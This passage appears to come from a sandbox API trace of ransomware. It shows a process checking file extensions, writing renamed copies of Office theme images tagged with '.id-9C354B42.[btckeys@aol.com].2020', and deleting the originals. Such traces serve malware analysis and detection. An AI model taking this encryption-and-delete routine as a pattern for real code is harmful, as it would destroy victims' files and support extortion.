(lpString1=".ppt", lpString2=".PNG") returned 1 [0080.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0080.676] lstrlenW (lpString=".zip") returned 4 [0080.676] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0080.676] lstrlenW (lpString=".rar") returned 4 [0080.676] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0080.677] lstrlenW (lpString=".bz2") returned 4 [0080.677] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0080.677] lstrlenW (lpString=".7z") returned 3 [0080.677] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0080.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0080.677] lstrlenW (lpString=".dbf") returned 4 [0080.677] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0080.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0080.677] lstrlenW (lpString=".1cd") returned 4 [0080.677] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0080.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0080.677] lstrlenW (lpString=".jpg") returned 4 [0080.677] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0080.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0080.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0080.677] lstrlenW (lpString=".doc") returned 4 [0080.677] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0080.677] lstrlenW (lpString=".docx") returned 5 [0080.677] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0080.677] lstrlenW (lpString=".pdf") returned 4 [0080.677] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0080.677] lstrlenW (lpString=".xls") returned 4 [0080.677] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0080.677] lstrlenW (lpString=".xlsx") returned 5 [0080.678] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0080.678] lstrlenW (lpString=".ppt") returned 4 [0080.678] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0080.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0080.678] lstrlenW (lpString=".zip") returned 4 [0080.678] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0080.678] lstrlenW (lpString=".rar") returned 4 [0080.678] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0080.678] lstrlenW (lpString=".bz2") returned 4 [0080.678] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0080.678] lstrlenW (lpString=".7z") returned 3 [0080.678] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0080.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0080.678] lstrlenW (lpString=".dbf") returned 4 [0080.678] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0080.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0080.678] lstrlenW (lpString=".1cd") returned 4 [0080.678] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0080.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0080.678] lstrlenW (lpString=".jpg") returned 4 [0080.678] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0080.678] lstrcmpiW (lpString1=".GIF", lpString2=".2020") returned 1 [0080.679] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0080.679] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0080.880] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=1354) returned 1 [0080.880] CloseHandle (hObject=0x1e0) returned 1 [0080.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif")) returned 0x20 [0080.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0081.142] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0081.142] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0081.142] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0081.142] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0081.143] GetLastError () returned 0x0 [0081.143] ReadFile (in: hFile=0x198, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x54a, lpOverlapped=0x0) returned 1 [0081.145] WriteFile (in: hFile=0x168, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x550, lpOverlapped=0x0) returned 1 [0081.146] ReadFile (in: hFile=0x198, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0081.146] WriteFile (in: hFile=0x168, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xea, lpOverlapped=0x0) returned 1 [0081.147] SetEndOfFile (hFile=0x168) returned 1 [0081.147] CloseHandle (hObject=0x168) returned 1 [0081.147] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0081.147] SetEndOfFile (hFile=0x198) returned 1 [0081.148] CloseHandle (hObject=0x198) returned 1 [0081.149] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0081.149] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif")) returned 1 [0081.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0081.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0081.149] lstrlenW (lpString=".doc") returned 4 [0081.149] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0081.149] lstrlenW (lpString=".docx") returned 5 [0081.150] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0081.150] lstrlenW (lpString=".pdf") returned 4 [0081.150] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0081.150] lstrlenW (lpString=".xls") returned 4 [0081.150] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0081.150] lstrlenW (lpString=".xlsx") returned 5 [0081.150] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0081.150] lstrlenW (lpString=".ppt") returned 4 [0081.150] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0081.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0081.150] lstrlenW (lpString=".zip") returned 4 [0081.150] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0081.150] lstrlenW (lpString=".rar") returned 4 [0081.150] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0081.150] lstrlenW (lpString=".bz2") returned 4 [0081.150] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0081.150] lstrlenW (lpString=".7z") returned 3 [0081.150] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0081.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0081.150] lstrlenW (lpString=".dbf") returned 4 [0081.150] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0081.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0081.150] lstrlenW (lpString=".1cd") returned 4 [0081.150] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0081.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0081.150] lstrlenW (lpString=".jpg") returned 4 [0081.150] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0081.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0081.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0081.151] lstrlenW (lpString=".doc") returned 4 [0081.151] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0081.151] lstrlenW (lpString=".docx") returned 5 [0081.151] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0081.151] lstrlenW (lpString=".pdf") returned 4 [0081.151] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0081.151] lstrlenW (lpString=".xls") returned 4 [0081.151] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0081.151] lstrlenW (lpString=".xlsx") returned 5 [0081.151] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0081.151] lstrlenW (lpString=".ppt") returned 4 [0081.151] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0081.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0081.151] lstrlenW (lpString=".zip") returned 4 [0081.151] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0081.151] lstrlenW (lpString=".rar") returned 4 [0081.151] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0081.151] lstrlenW (lpString=".bz2") returned 4 [0081.151] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0081.151] lstrlenW (lpString=".7z") returned 3 [0081.151] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0081.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0081.152] lstrlenW (lpString=".dbf") returned 4 [0081.152] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0081.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0081.152] lstrlenW (lpString=".1cd") returned 4 [0081.152] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0081.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0081.152] lstrlenW (lpString=".jpg") returned 4 [0081.152] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0081.152] lstrcmpiW (lpString1=".GIF", lpString2=".2020") returned 1 [0081.152] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0081.152] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0081.153] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=5179) returned 1 [0081.153] CloseHandle (hObject=0x198) returned 1 [0081.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif")) returned 0x20 [0081.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0081.153] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0081.153] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0081.153] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0081.153] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0081.158] GetLastError () returned 0x0 [0081.158] ReadFile (in: hFile=0x198, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x143b, lpOverlapped=0x0) returned 1 [0081.166] WriteFile (in: hFile=0x168, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x1440, lpOverlapped=0x0) returned 1 [0081.168] ReadFile (in: hFile=0x198, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0081.168] WriteFile (in: hFile=0x168, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xea, lpOverlapped=0x0) returned 1 [0081.169] SetEndOfFile (hFile=0x168) returned 1 [0081.169] CloseHandle (hObject=0x168) returned 1 [0081.169] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0081.169] SetEndOfFile (hFile=0x198) returned 1 [0081.170] CloseHandle (hObject=0x198) returned 1 [0081.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0081.171] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif")) returned 1 [0081.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0081.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0081.171] lstrlenW (lpString=".doc") returned 4 [0081.171] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0081.171] lstrlenW (lpString=".docx") returned 5 [0081.171] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0081.171] lstrlenW (lpString=".pdf") returned 4 [0081.171] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0081.171] lstrlenW (lpString=".xls") returned 4 [0081.171] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0081.171] lstrlenW (lpString=".xlsx") returned 5 [0081.172] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0081.172] lstrlenW (lpString=".ppt") returned 4 [0081.172] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0081.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0081.172] lstrlenW (lpString=".zip") returned 4 [0081.172] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0081.172] lstrlenW (lpString=".rar") returned 4 [0081.172] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0081.172] lstrlenW (lpString=".bz2") returned 4 [0081.172] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0081.172] lstrlenW (lpString=".7z") returned 3 [0081.172] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0081.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0081.172] lstrlenW (lpString=".dbf") returned 4 [0081.172] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0081.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0081.172] lstrlenW (lpString=".1cd") returned 4 [0081.172] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0081.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0081.172] lstrlenW (lpString=".jpg") returned 4 [0081.172] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0081.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0081.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0081.172] lstrlenW (lpString=".doc") returned 4 [0081.173] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0081.173] lstrlenW (lpString=".docx") returned 5 [0081.173] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0081.173] lstrlenW (lpString=".pdf") returned 4 [0081.173] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0081.173] lstrlenW (lpString=".xls") returned 4 [0081.173] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0081.173] lstrlenW (lpString=".xlsx") returned 5 [0081.173] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0081.173] lstrlenW (lpString=".ppt") returned 4 [0081.173] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0081.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0081.173] lstrlenW (lpString=".zip") returned 4 [0081.173] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0081.173] lstrlenW (lpString=".rar") returned 4 [0081.173] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0081.173] lstrlenW (lpString=".bz2") returned 4 [0081.173] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0081.173] lstrlenW (lpString=".7z") returned 3 [0081.173] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0081.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0081.173] lstrlenW (lpString=".dbf") returned 4 [0081.173] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0081.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0081.173] lstrlenW (lpString=".1cd") returned 4 [0081.174] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0081.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0081.174] lstrlenW (lpString=".jpg") returned 4 [0081.174] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0081.174] lstrcmpiW (lpString1=".PNG", lpString2=".2020") returned 1 [0081.174] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0081.174] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0081.175] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=33559) returned 1 [0081.175] CloseHandle (hObject=0x198) returned 1 [0081.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png")) returned 0x20 [0081.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0081.175] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0081.175] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0081.175] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0081.176] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0081.176] GetLastError () returned 0x0 [0081.176] ReadFile (in: hFile=0x198, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x8317, lpOverlapped=0x0) returned 1 [0081.184] WriteFile (in: hFile=0x168, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x8320, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x8320, lpOverlapped=0x0) returned 1 [0081.186] ReadFile (in: hFile=0x198, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0081.186] WriteFile (in: hFile=0x168, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0081.186] SetEndOfFile (hFile=0x168) returned 1 [0081.186] CloseHandle (hObject=0x168) returned 1 [0081.186] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0081.186] SetEndOfFile (hFile=0x198) returned 1 [0081.188] CloseHandle (hObject=0x198) returned 1 [0081.188] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0081.188] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png")) returned 1 [0081.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0081.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0081.189] lstrlenW (lpString=".doc") returned 4 [0081.189] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0081.189] lstrlenW (lpString=".docx") returned 5 [0081.189] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0081.189] lstrlenW (lpString=".pdf") returned 4 [0081.189] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0081.189] lstrlenW (lpString=".xls") returned 4 [0081.189] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0081.189] lstrlenW (lpString=".xlsx") returned 5 [0081.189] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0081.189] lstrlenW (lpString=".ppt") returned 4 [0081.189] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0081.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0081.189] lstrlenW 